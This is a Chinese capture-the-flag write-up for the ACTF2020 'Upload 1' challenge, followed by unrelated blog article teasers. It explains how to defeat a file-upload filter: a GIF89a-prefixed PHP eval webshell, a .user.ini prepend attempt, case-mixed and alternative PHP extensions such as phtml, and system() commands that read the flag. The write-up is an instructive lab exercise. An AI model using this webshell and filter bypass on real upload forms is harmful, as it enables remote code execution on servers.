[ACTF2020]Upload 1--详细解析

信息收集

题目告诉我们是一道upload,也就是文件上传漏洞题目。
进入界面,是一个灯泡,将鼠标放在图标上就会出现文件上传的相应位置:
在这里插入图片描述

思路

文件上传漏洞,先看看有没有前端校验。
在js源码中找到了前端校验:
在这里插入图片描述也就是只能上传jpg,png,gif后缀的文件。

先准备一个最基本的一句话木马:

//shell.php
GIF89a //这里是为了绕过可能存在的文件头检测
<?php @eval($_POST[1])?>

修改为.png后缀,上传并抓包修改回php后缀
在这里插入图片描述
注意左上角,返回的内容是nonono~ Bad file!

此时有两种可能,一种是后端对文件后缀进行了过滤;第二种是对文件内容进行了过滤。

如果我们不修改后缀将.png文件直接上传:
在这里插入图片描述
会发现左上角显示上传成功。

Upload Success! Look here~
./uplo4d/00bf23e130fa1e525e332ff03dae345d.png

说明后端对文件内容没有被过滤,被过滤的是后缀名

既然后缀名被过滤,我们考虑上传.user.ini文件将成功上传的文件以PHP代码形式解析:

//.user.ini
GIF89a
auto_prepend_file=00bf23e130fa1e525e332ff03dae345d.png

同样是修改为.png绕过前端校验与MIME验证,再抓包改回来。
在这里插入图片描述

Upload Success! Look here~
./uplo4d/7356ccb66a890ccd51ee57dc56bb134c.ini

这里注意.user.ini文件名上传后被修改为7356ccb66a890ccd51ee57dc56bb134c.ini,那么.user.ini就不能发挥作用了,所以上传.user.ini配置文件的方法失败。

这里学习一个新知识点:
在Apache中,以下后缀名都会被服务器解析为PHP文件:

phtml
php
php3
php4
php5
inc
//下面是对上面的大小写混写绕过
pHtml
pHp
pHp3
pHp4
pHp5
iNc

我们抓包测试一下这些后缀名,看看有没有能上传成功的:
在这里插入图片描述
发现html和php的大小写混写都能绕过。

先试了php的大小写混写,确实能上传,但是访问时依然显示解析出错。
还是上传了phtml文件,进入后发现成功访问!
在这里插入图片描述

1=system("ls /");
1=system("tac /flag");

得到flag.

总结

学到了Apache下的php后缀名解析漏洞,今后在面对后端后缀名过滤时又多了一种解决方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886630.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习基础06

目录 1.梯度下降 1.1梯度下降概念 1.2梯度下降公式 1.3学习率 1.4实现梯度下降 1.5API 1.5.1随机梯度下降SGD 1.5.2小批量梯度下降MBGD 1.6梯度下降优化 2.欠拟合过拟合 2.1欠拟合 2.2过拟合 2.3正则化 2.3.1L1正则项&#xff08;曼哈顿距离&#xff09; 2.3.2…

【系统设计】设计一个系统时,需要考虑的关键因素

一、需求分析 明确目标和业务需求 与利益相关者&#xff08;如客户、用户、管理层等&#xff09;进行充分沟通&#xff0c;了解系统要解决的具体问题和期望达成的目标。 例如&#xff0c;设计一个电子商务系统&#xff0c;需要明确支持的业务流程&#xff0c;如商品展示、购物…

可认证数据资产合约标准协议(CMIDA-1)意见征集

标准背景 数据资产具备多维度的属性&#xff0c;涵盖行业特性、状态信息、资产类型、存储格式等。数据资产在不同流通主体之间可理解、可流通、可追溯、可信任的重要前提之一是存在统一的标准&#xff0c;缺失统一的标准&#xff0c;数据混乱冲突、一数多源、多样多类等问题将…

为什么 Vue3 封装 Table 组件丢失 expose 方法呢?

在实际开发中&#xff0c;我们通常会将某些常见组件进行二次封装&#xff0c;以便更好地实现特定的业务需求。然而&#xff0c;在封装 Table 组件时&#xff0c;遇到一个问题&#xff1a;Table 内部暴露的方法&#xff0c;在封装之后的组件获取不到。 代码展示为&#xff1a; …

Dolby TrueHD和Dolby Digital Plus (E-AC-3)编码介绍

文章目录 1. Dolby TrueHD特点总结 2. Dolby Digital Plus (E-AC-3)特点总结 Dolby TrueHD 与 Dolby Digital Plus (E-AC-3) 的对比 Dolby TrueHD和Dolby Digital Plus (E-AC-3) 是两种高级的杜比音频编码格式&#xff0c;常用于蓝光影碟、流媒体、影院等高品质音频传输场景。它…

Docker-01

Docker用于构建、打包、分发和运行应用程序。它允许开发人员将应用程序及其依赖项打包到一个可移植的容器中&#xff0c;然后可以在任何支持Docker的环境中运行这个容器。 Linux systemctl start docker //启动dockersystemctl stop docker //停止dockersystemctl enable d…

【.net core】【sqlsugar】字符串拼接+内容去重

假设有成绩类&#xff0c;字段如下 //成绩类 public class Score{public int id{get;set;}//学号public string No{get;set;}//学科public string subject{get;set;}//成绩public string score{get;set;} }需要实现数据汇总&#xff0c;汇总要求&#xff1a;结果中每行只展示单…

算法——删除链表的倒数第N个节点(leetcode19)

对于这道题我首先想到的是双指针并且也正确解答了后发现其实我写的代码冗余了依然可以优化代码为单指针即可解题但看了题解之后发现快慢指针非常巧妙代码也非常简洁 单指针解法 1、定义一个虚拟节点vNode指向头结点 2、定义指针cur指向虚拟节点vNode 3、遍历链表得到链表的…

Python Pillow图像编辑

Pillow简介 Pillow 不仅是 PIL 库的“复制版”&#xff0c;而且它又在 PIL 库的基础上增加了许多新的特性。Pillow 发展至今&#xff0c;已经成为了比 PIL 更具活力的图像处理库。 Pillow 的初衷只是想作为 PIL 库的分支和补充&#xff0c;如今它已是“青出于蓝而胜于蓝”。 …

爬虫开发(1)爬虫开发工具介绍与环境搭建

在数据驱动的时代&#xff0c;网络爬虫成为了获取大量数据的重要手段。无论是市场调研、竞争对手分析还是学术研究&#xff0c;爬虫都能帮助我们高效地收集和处理信息&#xff0c;所以你还不抓紧学习爬虫嘛&#xff1f; 在本文中&#xff0c;博主将详细介绍如何搭建爬虫开发环境…

1+X应急响应(网络)系统信息收集分析:

系统信息收集分析&#xff1a; 系统启动项和计划任务分析&#xff1a; 系统进程&#xff0c;服务分析&#xff1a; 内存取证&#xff1a; 系统崩溃转储&#xff1a;

Python基础学习-09文件操作

目录 1、常见文件操作 2、常见文件函数 3、文件中存储并解析Python对象 4、本节总结 1、常见文件操作 • 常见文件操作 1&#xff09; fileopen(file_path) #默认modert 2&#xff09; fileopen(file_path, “r”) 3&#xff09; fileopen(file_path, encodin…

《人工智能深度学习的基本路线图》

《人工智能深度学习的基本路线图》 基础准备阶段 数学基础&#xff1a; 线性代数&#xff1a;深度学习中大量涉及矩阵运算、向量空间等概念&#xff0c;线性代数是理解和处理这些的基础。例如&#xff0c;神经网络中的权重矩阵、输入向量的运算等都依赖于线性代数知识。学习内容…

找不到vcruntime140.dll怎么办,彻底解决vcruntime140.dll丢失的5种方法

当计算机系统中无法找到vcruntime140.dll这个特定的动态链接库文件时&#xff0c;可能会引发一系列运行问题&#xff0c;具体表现形式多样且影响范围较广。对于依赖于该文件运行的各类软件应用来说&#xff0c;缺失vcruntime140.dll将直接导致程序无法正常启动或执行&#xff0…

Redis学习 ——缓存

文章目录 一、Redis缓存的介绍二、Redis缓存问题2.1 缓存穿透2.2 缓存击穿2.3 缓存雪崩2.4 双写一致性2.5 缓存持久化RDBAOF 三、缓存数据管理3.1 数据过期策略3.2 数据淘汰策略 一、Redis缓存的介绍 我们在日常的代码编写中比较少使用到Redis&#xff0c;但是如果涉及到了比较…

“乐鑫组件注册表”简介

当启动一个新的开发项目时&#xff0c;开发者们通常会利用库和驱动程序等现有的代码资源。这种做法不仅节省时间&#xff0c;还简化了项目的维护工作。本文将深入探讨乐鑫组件注册表的概念及其核心理念&#xff0c;旨在指导您高效地使用和贡献组件。 概念解析 ESP-IDF 的架构…

视觉SLAM--经典视觉SLAM框架

整个视觉SLAM流程主要包括以下步骤&#xff1a; 1、传感器信息读取&#xff1a;在视觉SLAM中主要为相机图像信息的读取和预处理。 2、前端视觉里程计&#xff1a;估算相邻图像间相机的运动&#xff0c;以及局部地图的样子。 3、后端&#xff08;非线性&#xff09;优化&#…

Spring IOC注入方式、Bean作用域

Spring IOC注入 手动注入 set方法注入 需要提供set方法 public class UserService {private UserDao userDao; ​public void setUserDao(UserDao userDao) {this.userDao userDao;} } 设置属性字段的值 <bean id"userService" class"com.shsxt.servi…

Ajax的相关内容

一、Ajax的使用步骤 1.创建XML对象 const xhrnew XMLHttpRequest(); 2.监听事件&#xff0c;处理响应 3.准备发送请求 true表示异步 ajax中永远是异步&#xff0c;永远是true 4.发送请求 二、GET和POST请求 三、JSON的三种形式 四、JSON的方法 五、跨域 六、XHR的属性和方法…

有限状态机(续)

一、添加刀光和场景 1、资源链接&#xff1a; 武器刀光&#xff1a;https://assetstore.unity.com/packages/tools/particles-effects/melee-weapon-trail-1728 场景&#xff1a;https://assetstore.unity.com/packages/3d/environments/fantasy/casual-tiny-environment-ju…